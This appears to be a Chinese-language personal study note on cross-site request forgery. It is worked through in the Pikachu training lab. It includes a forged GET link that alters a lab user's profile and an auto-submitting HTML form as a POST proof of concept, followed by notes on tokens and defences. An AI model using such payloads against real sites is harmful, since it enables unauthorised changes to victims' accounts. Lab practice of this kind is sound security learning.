CSRF
跨站请求伪造
CSRF入门及靶场实战 - FreeBuf网络安全行业门户
攻击者伪造恶意链接,诱使用户点击,这个链接附带了用户的认证凭据Cookie、Session等,执行操作如转账。 因为带了cookie、session,服务器认为是用户的行为。借用户的权限完成攻击
get型
lucy用户登录,修改个人信息,抓包,看到要修改的信息直接在url中
get请求并没有向后台发送token参数,说明后台是没有做防CSRF的措施
可以直接把url改一下,改成sex=boy
攻击者的恶意链接
http://192.168.146.161/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=12345678922&add=usa&email=lucy%40pikachu.com&submit=submit
用户点击链接
成功改成男孩
post型
和get型不同,要修改的参数出现在消息体里,并且没有cookie和token参数
用bp来生成poc ,右键,点击generate csrf Poc ,修改值,勾选包含自动提交script
利用burp生成POC验证CSRF - FreeBuf网络安全行业门户
生成不了 就从网上复制了一个,保存为html,并用浏览器打开
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.146.161/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="girl" />
<input id="phonenum" type="text" name="phonenum" value="123456789" />
<input id="add" type="text" name="add" value="hubei" />
<input id="email" type="text" name="email" value="lucy@163.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
访问这个html,成功修改
token型未成功
(1)客户端把用户的用户名和密码发到服务端
(2)服务端进行校验,校验成功会生成token, 把token发送给客户端
(3)客户端自己保存token, 再次请求就要在Http协议的请求头中带着token去访问服务端,和在服务端保存的token信息进行比对校验。(所以token只能与受害者用户一致)
前端会存储这个token,放在session或cookie中,token一般用完一次就会失效
要修改的参数在url里面,带了个token,而且这个token还是明文,没有加密
bp安装CSRF Token Tracker插件
pikachu--csrf token & token防爆破? - WangWangDui - 博客园 (cnblogs.com)
设置
重放,第一次修改信息能成功,第二次就不行了,因为ccokie失效了,每次刷新页面cookie都要变
HTTPS
突然好奇,要是用了https,流量加密了,还会好挖洞吗,会对传输的数据进行加密
为什么如此安全的https协议却仍然可以被抓包呢?_网络请求会被抓取吗-CSDN博客
SSRF
curl
点击链接,观察url
把url改成了百度
总结
csrf是一种在用户已经登录的状态下,通过伪造请求来执行非法操作
挖掘:如果没有Referer字段和token,那么极有可能存在CSRF漏洞
防范:
(1)增加Referer,记录了该 HTTP 请求的来源地址
(2)添加 Token,每次用完就失效
(3)同源策略SOP,
(4)使用验证码,对于敏感操作输入验证码进行验证
SSRF